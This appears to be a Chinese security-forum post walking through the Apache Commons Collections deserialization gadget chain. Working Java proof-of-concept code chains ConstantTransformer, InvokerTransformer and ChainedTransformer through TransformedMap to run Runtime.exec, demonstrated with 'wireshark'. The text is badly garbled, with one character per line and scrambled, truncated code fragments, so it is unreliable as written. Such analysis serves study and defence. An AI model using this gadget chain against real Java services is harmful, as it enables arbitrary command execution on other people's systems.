w
i
r
e
s
h
a
r
k
"
)
有
了
前
文
的
基
础
,
我
们
可
以
很
容
易
看
出
来
这
里
用
到
了
反
射
机
制
,
并
且
代
码
和
我
之
前
的
d
e
m
o
很
相
似
,
他
们
都
是
执
行
了
某
个
对
象
的
某
个
方
法
,
再
看
看
这
个
类
的
构
造
函
数
:
都
是
可
控
的
,
那
么
,
现
在
只
要
保
证
i
n
p
u
t
可
控
,
我
们
就
可
以
执
行
任
意
对
象
的
任
意
方
法
了
!
但
是
这
样
我
们
还
是
不
能
执
行
系
统
命
令
的
,
因
为
执
行
系
统
命
令
的
方
式
是
:
所
以
需
要
一
个
执
行
链
才
能
够
满
足
我
们
的
需
求
(
而
不
单
单
是
执
行
某
个
对
象
的
某
个
方
法
)
,
而
正
好
c
o
m
m
o
n
s
-
c
o
l
l
e
c
t
i
o
n
s
类
库
真
有
这
么
一
个
类
可
以
达
到
这
个
目
的
,
这
个
类
就
是
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
,
该
类
中
也
有
一
个
t
r
a
n
s
f
o
r
m
方
法
:
1
.
p
u
b
l
i
c
O
b
j
e
c
t
t
r
a
n
s
f
o
r
m
(
O
b
j
e
c
t
i
n
p
u
t
)
{
2
.
i
f
(
i
n
p
u
t
=
=
n
u
l
l
)
{
3
.
r
e
t
u
r
n
n
u
l
l
;
4
.
}
e
l
s
e
{
5
.
t
r
y
{
6
.
C
l
a
s
s
c
l
s
=
i
n
p
u
t
.
g
e
t
C
l
a
s
s
(
)
;
7
.
M
e
t
h
o
d
m
e
t
h
o
d
=
c
l
s
.
g
e
t
M
e
t
h
o
d
(
t
h
i
s
.
i
M
e
t
h
o
d
N
a
m
e
,
t
h
i
s
.
i
P
a
r
a
m
T
y
p
e
s
)
;
8
.
r
e
t
u
r
n
m
e
t
h
o
d
.
i
n
v
o
k
e
(
i
n
p
u
t
,
t
h
i
s
.
i
A
r
g
s
)
;
9
.
}
c
a
t
c
h
(
N
o
S
u
c
h
M
e
t
h
o
d
E
x
c
e
p
t
i
o
n
v
a
r
5
)
{
1
0
.
t
h
r
o
w
n
e
w
F
u
n
c
t
o
r
E
x
c
e
p
t
i
o
n
(
"
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
:
T
h
e
m
e
t
h
o
d
'
"
+
t
h
i
s
.
i
M
e
t
h
o
d
N
a
m
e
+
"
'
o
n
'
"
1
1
.
}
c
a
t
c
h
(
I
l
l
e
g
a
l
A
c
c
e
s
s
E
x
c
e
p
t
i
o
n
v
a
r
6
)
{
1
2
.
t
h
r
o
w
n
e
w
F
u
n
c
t
o
r
E
x
c
e
p
t
i
o
n
(
"
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
:
T
h
e
m
e
t
h
o
d
'
"
+
t
h
i
s
.
i
M
e
t
h
o
d
N
a
m
e
+
"
'
o
n
'
"
1
3
.
}
c
a
t
c
h
(
I
n
v
o
c
a
t
i
o
n
T
a
r
g
e
t
E
x
c
e
p
t
i
o
n
v
a
r
7
)
{
1
4
.
t
h
r
o
w
n
e
w
F
u
n
c
t
o
r
E
x
c
e
p
t
i
o
n
(
"
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
:
T
h
e
m
e
t
h
o
d
'
"
+
t
h
i
s
.
i
M
e
t
h
o
d
N
a
m
e
+
"
'
o
n
'
"
1
5
.
}
1
6
.
}
1
7
.
}
1
.
p
u
b
l
i
c
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
S
t
r
i
n
g
m
e
t
h
o
d
N
a
m
e
,
C
l
a
s
s
[
]
p
a
r
a
m
T
y
p
e
s
,
O
b
j
e
c
t
[
]
a
r
g
s
)
{
2
.
t
h
i
s
.
i
M
e
t
h
o
d
N
a
m
e
=
m
e
t
h
o
d
N
a
m
e
;
3
.
t
h
i
s
.
i
P
a
r
a
m
T
y
p
e
s
=
p
a
r
a
m
T
y
p
e
s
;
4
.
t
h
i
s
.
i
A
r
g
s
=
a
r
g
s
;
5
.
}
t
h
i
s
.
i
M
e
t
h
o
d
N
a
m
e
,
t
h
i
s
.
i
P
a
r
a
m
T
y
p
e
s
,
t
h
i
s
.
i
M
e
t
h
o
d
N
a
m
e
,
t
h
i
s
.
i
P
a
r
a
m
T
y
p
e
s
R
u
n
t
i
m
e
.
g
e
t
R
u
n
t
i
m
e
(
)
.
e
x
e
c
(
"
x
x
x
x
"
)
5
.
1
0
.
可
以
看
到
这
个
类
的
构
造
函
数
接
收
一
个
T
r
a
n
s
f
o
r
m
e
r
类
型
的
数
组
,
并
且
在
t
r
a
n
s
f
o
r
m
方
法
中
会
遍
历
这
个
数
组
,
并
调
用
数
组
中
的
每
一
个
成
员
的
t
r
a
n
s
f
o
r
m
方
法
,
最
重
要
的
一
点
是
上
一
个
成
员
调
用
t
r
a
n
s
f
o
r
m
方
法
返
回
的
对
象
会
作
为
下
一
个
成
员
的
t
r
a
n
s
f
o
r
m
方
法
的
参
数
,
这
就
是
一
个
链
式
调
用
呀
!
但
是
你
以
为
只
靠
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
组
成
的
数
组
就
可
以
完
成
整
个
攻
击
链
了
吗
,
是
不
行
的
,
因
为
这
个
调
用
链
的
起
点
是
R
u
n
t
i
m
e
,
无
论
怎
么
构
造
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
,
我
们
都
无
法
得
到
利
用
链
开
端
的
这
个
R
u
n
t
i
m
e
,
但
是
巧
的
是
,
又
有
这
么
一
个
类
—
—
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
,
我
们
看
看
他
的
构
造
函
数
以
及
t
r
a
n
s
f
o
r
m
方
法
:
4
.
他
的
t
r
a
n
s
f
o
r
m
方
法
就
很
简
单
,
就
是
返
回
i
C
o
n
s
t
a
n
t
,
而
t
h
i
s
.
i
C
o
n
s
t
a
n
t
又
来
自
构
造
函
数
的
参
数
,
所
以
,
如
果
我
们
实
例
化
时
传
入
一
个
R
u
n
t
i
m
e
.
c
l
a
s
s
返
回
的
也
是
R
u
n
t
i
m
e
.
c
l
a
s
s
那
么
也
就
解
决
利
用
链
开
头
的
R
u
n
t
i
m
e
问
题
。
可
能
大
家
看
到
这
里
已
经
有
点
晕
了
,
感
觉
满
脑
子
都
是
x
x
x
t
r
a
n
s
f
o
r
m
e
r
。
所
以
,
看
到
这
里
先
暂
停
一
下
,
不
着
急
往
下
看
,
我
们
来
理
一
理
这
几
个
t
r
a
n
s
f
r
o
m
e
r
。
其
实
一
共
就
三
个
t
r
a
n
s
f
o
r
m
e
r
,
而
且
这
些
x
x
x
t
r
a
n
s
f
o
r
m
e
r
都
是
实
现
了
实
现
了
T
r
a
n
s
F
o
r
m
e
r
这
个
接
口
这
个
接
口
的
,
所
以
他
们
都
有
一
个
t
r
a
n
s
f
o
r
m
方
法
:
|
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
|
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
|
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
|
|
:
-
:
|
:
-
:
|
:
-
:
|
|
构
造
函
数
接
受
三
个
参
数
|
构
造
函
数
接
受
一
个
参
数
|
构
造
函
数
接
受
一
个
T
r
a
n
s
F
o
r
m
e
r
类
型
的
数
组
|
|
t
r
a
n
s
f
o
r
m
方
法
通
过
反
射
可
以
执
行
一
个
对
象
的
任
意
方
法
|
t
r
a
n
s
f
o
r
m
返
回
构
造
函
数
传
入
的
参
数
|
t
r
a
n
s
f
o
r
m
方
法
执
行
构
造
函
数
传
入
数
组
的
每
一
1
.
/
/
构
造
函
数
2
.
p
u
b
l
i
c
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
(
T
r
a
n
s
f
o
r
m
e
r
[
]
t
r
a
n
s
f
o
r
m
e
r
s
)
{
3
.
t
h
i
s
.
i
T
r
a
n
s
f
o
r
m
e
r
s
=
t
r
a
n
s
f
o
r
m
e
r
s
;
4
.
}
6
.
p
u
b
l
i
c
O
b
j
e
c
t
t
r
a
n
s
f
o
r
m
(
O
b
j
e
c
t
o
b
j
e
c
t
)
{
7
.
f
o
r
(
i
n
t
i
=
0
;
i
<
t
h
i
s
.
i
T
r
a
n
s
f
o
r
m
e
r
s
.
l
e
n
g
t
h
;
+
+
i
)
{
8
.
o
b
j
e
c
t
=
t
h
i
s
.
i
T
r
a
n
s
f
o
r
m
e
r
s
[
i
]
.
t
r
a
n
s
f
o
r
m
(
o
b
j
e
c
t
)
;
9
.
}
1
1
.
r
e
t
u
r
n
o
b
j
e
c
t
;
1
2
.
}
1
.
p
u
b
l
i
c
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
(
O
b
j
e
c
t
c
o
n
s
t
a
n
t
T
o
R
e
t
u
r
n
)
{
2
.
t
h
i
s
.
i
C
o
n
s
t
a
n
t
=
c
o
n
s
t
a
n
t
T
o
R
e
t
u
r
n
;
3
.
}
5
.
p
u
b
l
i
c
O
b
j
e
c
t
t
r
a
n
s
f
o
r
m
(
O
b
j
e
c
t
i
n
p
u
t
)
{
6
.
r
e
t
u
r
n
t
h
i
s
.
i
C
o
n
s
t
a
n
t
;
7
.
}
个
成
员
的
t
r
a
n
s
f
o
r
m
方
法
|
有
了
上
面
的
基
础
,
我
们
来
把
这
几
个
t
r
a
n
s
f
o
r
m
e
r
组
合
起
来
构
造
一
个
执
行
链
,
代
码
如
下
:
7
.
就
是
这
么
简
单
,
最
后
那
个
t
r
a
n
s
f
o
r
m
(
)
随
便
传
一
个
什
么
进
去
都
行
,
成
功
弹
出
w
i
r
e
s
h
a
r
k
:
到
这
里
,
整
个
漏
洞
的
核
心
已
经
明
了
了
,
现
在
我
们
得
想
想
在
真
实
的
应
用
中
怎
么
触
发
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
的
t
r
a
n
s
f
o
r
m
方
法
,
按
照
正
常
的
操
作
,
我
们
应
该
以
t
r
a
n
s
f
o
r
m
(
为
关
键
字
全
局
搜
索
,
但
是
我
们
这
里
是
反
编
译
得
到
的
源
码
,
在
i
d
e
a
中
好
像
不
支
持
全
局
搜
索
.
c
l
a
s
s
文
件
中
的
字
符
串
,
所
以
,
有
点
头
大
,
但
是
也
不
影
响
,
毕
竟
网
上
已
经
有
很
多
分
析
文
章
了
,
我
们
可
知
有
两
个
类
中
使
用
了
可
疑
的
t
r
a
n
s
f
o
r
m
方
法
:
L
a
z
y
M
a
p
、
T
r
a
n
s
f
o
r
m
e
d
M
a
p
。
T
r
a
n
s
f
o
r
m
e
d
M
a
p
利
用
链
利
用
链
我
们
一
个
个
来
分
析
,
先
说
说
T
r
a
n
s
f
o
r
m
e
d
M
a
p
中
,
一
共
有
三
处
函
数
使
用
了
t
r
a
n
s
f
o
r
m
方
法
1
.
T
r
a
n
s
f
o
r
m
e
r
[
]
t
r
a
n
s
f
o
r
m
e
r
s
_
e
x
e
c
=
n
e
w
T
r
a
n
s
f
o
r
m
e
r
[
]
{
2
.
n
e
w
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
(
R
u
n
t
i
m
e
.
c
l
a
s
s
)
,
3
.
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
g
e
t
M
e
t
h
o
d
"
,
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
,
C
l
a
s
s
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
"
g
e
t
R
u
n
t
i
m
e
"
4
.
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
i
n
v
o
k
e
"
,
n
e
w
C
l
a
s
s
[
]
{
O
b
j
e
c
t
.
c
l
a
s
s
,
O
b
j
e
c
t
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
n
u
l
l
,
n
u
l
l
}
)
,
5
.
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
e
x
e
c
"
,
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
"
w
i
r
e
s
h
a
r
k
"
}
)
6
.
}
;
8
.
T
r
a
n
s
f
o
r
m
e
r
c
h
a
i
n
=
n
e
w
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
(
t
r
a
n
s
f
o
r
m
e
r
s
_
e
x
e
c
)
;
9
.
c
h
a
i
n
.
t
r
a
n
s
f
o
r
m
(
'
1
'
)
;
当
然
,
光
是
使
用
了
t
r
a
n
s
f
o
r
m
这
个
方
法
还
不
行
,
我
们
还
需
要
确
认
是
使
用
了
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
.
t
r
a
n
s
f
o
r
m
(
)
,
我
们
看
一
下
t
h
i
s
.
k
e
y
T
r
a
n
s
f
o
r
m
e
r
的
值
:
可
以
看
到
t
h
i
s
.
k
e
y
T
r
a
n
s
f
o
r
m
e
r
的
类
型
是
T
r
a
n
s
f
o
r
m
e
r
,
而
且
是
我
们
可
以
控
制
的
,
所
以
,
在
构
造
p
o
c
的
时
候
只
需
要
将
他
的
值
赋
为
我
们
精
心
构
造
的
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
就
行
,
按
照
这
个
思
路
,
我
们
继
续
构
造
p
o
c
,
现
在
的
p
o
c
可
以
用
T
r
a
n
s
f
o
r
m
e
d
M
a
p
的
三
个
方
法
t
r
a
n
s
f
o
r
m
K
e
y
、
t
r
a
n
s
f
o
r
m
V
a
l
u
e
、
c
h
e
c
k
S
e
t
V
a
l
u
e
触
发
t
r
a
n
s
f
o
r
m
方
法
,
但
是
我
在
构
造
的
时
候
发
现
这
三
个
方
法
的
访
问
权
限
都
是
p
r
o
t
e
c
t
e
d
,
也
就
是
不
能
直
接
被
外
部
访
问
,
我
们
只
有
迂
回
一
下
了
,
T
r
a
n
s
f
o
r
m
e
d
M
a
p
类
中
一
共
有
四
个
方
法
访
问
权
限
是
p
u
b
l
i
c
:
两
个
构
造
函
数
,
如
下
:
4
.
1
2
.
另
外
两
个
如
下
:
6
.
可
以
看
到
p
u
t
方
法
调
用
了
t
r
a
n
s
f
o
r
m
K
e
y
以
及
t
r
a
n
s
f
o
r
m
V
a
l
u
e
,
这
两
个
方
法
又
都
调
用
了
t
r
a
n
s
f
o
r
m
方
法
,
所
以
,
我
们
可
以
通
过
调
用
实
例
化
一
个
T
r
a
n
s
f
o
r
o
m
e
d
M
a
p
对
象
,
然
后
调
用
对
象
的
p
u
t
方
法
,
从
而
执
行
任
意
命
令
,
此
时
的
半
成
品
p
o
c
如
下
:
1
.
p
u
b
l
i
c
s
t
a
t
i
c
M
a
p
d
e
c
o
r
a
t
e
(
M
a
p
m
a
p
,
T
r
a
n
s
f
o
r
m
e
r
k
e
y
T
r
a
n
s
f
o
r
m
e
r
,
T
r
a
n
s
f
o
r
m
e
r
v
a
l
u
e
T
r
a
n
s
f
o
r
m
e
r
)
{
2
.
r
e
t
u
r
n
n
e
w
T
r
a
n
s
f
o
r
m
e
d
M
a
p
(
m
a
p
,
k
e
y
T
r
a
n
s
f
o
r
m
e
r
,
v
a
l
u
e
T
r
a
n
s
f
o
r
m
e
r
)
;
3
.
}
5
.
p
u
b
l
i
c
s
t
a
t
i
c
M
a
p
d
e
c
o
r
a
t
e
T
r
a
n
s
f
o
r
m
(
M
a
p
m
a
p
,
T
r
a
n
s
f
o
r
m
e
r
k
e
y
T
r
a
n
s
f
o
r
m
e
r
,
T
r
a
n
s
f
o
r
m
e
r
v
a
l
u
e
T
r
a
n
s
f
o
r
m
e
r
6
.
T
r
a
n
s
f
o
r
m
e
d
M
a
p
d
e
c
o
r
a
t
e
d
=
n
e
w
T
r
a
n
s
f
o
r
m
e
d
M
a
p
(
m
a
p
,
k
e
y
T
r
a
n
s
f
o
r
m
e
r
,
v
a
l
u
e
T
r
a
n
s
f
o
r
m
e
r
)
;
7
.
i
f
(
m
a
p
.
s
i
z
e
(
)
>
0
)
{
8
.
M
a
p
t
r
a
n
s
f
o
r
m
e
d
=
d
e
c
o
r
a
t
e
d
.
t
r
a
n
s
f
o
r
m
M
a
p
(
m
a
p
)
;
9
.
d
e
c
o
r
a
t
e
d
.
c
l
e
a
r
(
)
;
1
0
.
d
e
c
o
r
a
t
e
d
.
g
e
t
M
a
p
(
)
.
p
u
t
A
l
l
(
t
r
a
n
s
f
o
r
m
e
d
)
;
1
1
.
}
1
3
.
r
e
t
u
r
n
d
e
c
o
r
a
t
e
d
;
1
4
.
}
1
.
p
u
b
l
i
c
O
b
j
e
c
t
p
u
t
(
O
b
j
e
c
t
k
e
y
,
O
b
j
e
c
t
v
a
l
u
e
)
{
2
.
k
e
y
=
t
h
i
s
.
t
r
a
n
s
f
o
r
m
K
e
y
(
k
e
y
)
;
3
.
v
a
l
u
e
=
t
h
i
s
.
t
r
a
n
s
f
o
r
m
V
a
l
u
e
(
v
a
l
u
e
)
;
4
.
r
e
t
u
r
n
t
h
i
s
.
g
e
t
M
a
p
(
)
.
p
u
t
(
k
e
y
,
v
a
l
u
e
)
;
5
.
}
7
.
p
u
b
l
i
c
v
o
i
d
p
u
t
A
l
l
(
M
a
p
m
a
p
T
o
C
o
p
y
)
{
8
.
m
a
p
T
o
C
o
p
y
=
t
h
i
s
.
t
r
a
n
s
f
o
r
m
M
a
p
(
m
a
p
T
o
C
o
p
y
)
;
9
.
t
h
i
s
.
g
e
t
M
a
p
(
)
.
p
u
t
A
l
l
(
m
a
p
T
o
C
o
p
y
)
;
1
0
.
}
6
.
9
.
1
8
.
2
0
.
2
3
.
运
行
p
o
c
,
成
功
弹
出
w
i
r
e
s
h
a
r
k
1
.
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
T
r
a
n
s
f
o
r
m
e
r
;
2
.
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
f
u
n
c
t
o
r
s
.
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
;
3
.
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
f
u
n
c
t
o
r
s
.
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
;
4
.
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
f
u
n
c
t
o
r
s
.
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
;
5
.
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
m
a
p
.
T
r
a
n
s
f
o
r
m
e
d
M
a
p
;
7
.
i
m
p
o
r
t
j
a
v
a
.
u
t
i
l
.
H
a
s
h
M
a
p
;
8
.
i
m
p
o
r
t
j
a
v
a
.
u
t
i
l
.
M
a
p
;
1
0
.
p
u
b
l
i
c
c
l
a
s
s
P
O
C
3
{
1
1
.
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
m
a
i
n
(
S
t
r
i
n
g
[
]
a
r
g
s
)
t
h
r
o
w
s
E
x
c
e
p
t
i
o
n
{
1
2
.
T
r
a
n
s
f
o
r
m
e
r
[
]
t
r
a
n
s
f
o
r
m
e
r
s
_
e
x
e
c
=
n
e
w
T
r
a
n
s
f
o
r
m
e
r
[
]
{
1
3
.
n
e
w
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
(
R
u
n
t
i
m
e
.
c
l
a
s
s
)
,
1
4
.
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
g
e
t
M
e
t
h
o
d
"
,
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
,
C
l
a
s
s
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
"
g
e
t
R
u
n
t
i
m
e
"
1
5
.
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
i
n
v
o
k
e
"
,
n
e
w
C
l
a
s
s
[
]
{
O
b
j
e
c
t
.
c
l
a
s
s
,
O
b
j
e
c
t
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
n
u
l
l
1
6
.
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
e
x
e
c
"
,
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
"
w
i
r
e
s
h
a
r
k
"
}
)
1
7
.
}
;
1
9
.
T
r
a
n
s
f
o
r
m
e
r
c
h
a
i
n
=
n
e
w
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
(
t
r
a
n
s
f
o
r
m
e
r
s
_
e
x
e
c
)
;
2
1
.
H
a
s
h
M
a
p
i
n
n
e
r
M
a
p
=
n
e
w
H
a
s
h
M
a
p
(
)
;
2
2
.
i
n
n
e
r
M
a
p
.
p
u
t
(
"
v
a
l
u
e
"
,
"
a
s
d
f
"
)
;
2
4
.
M
a
p
o
u
t
e
r
M
a
p
=
T
r
a
n
s
f
o
r
m
e
d
M
a
p
.
d
e
c
o
r
a
t
e
(
i
n
n
e
r
M
a
p
,
n
u
l
l
,
c
h
a
i
n
)
;
2
5
.
o
u
t
e
r
M
a
p
.
p
u
t
(
"
n
a
m
e
"
,
"
a
x
i
n
"
)
;
2
6
.
}
2
7
.
}
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页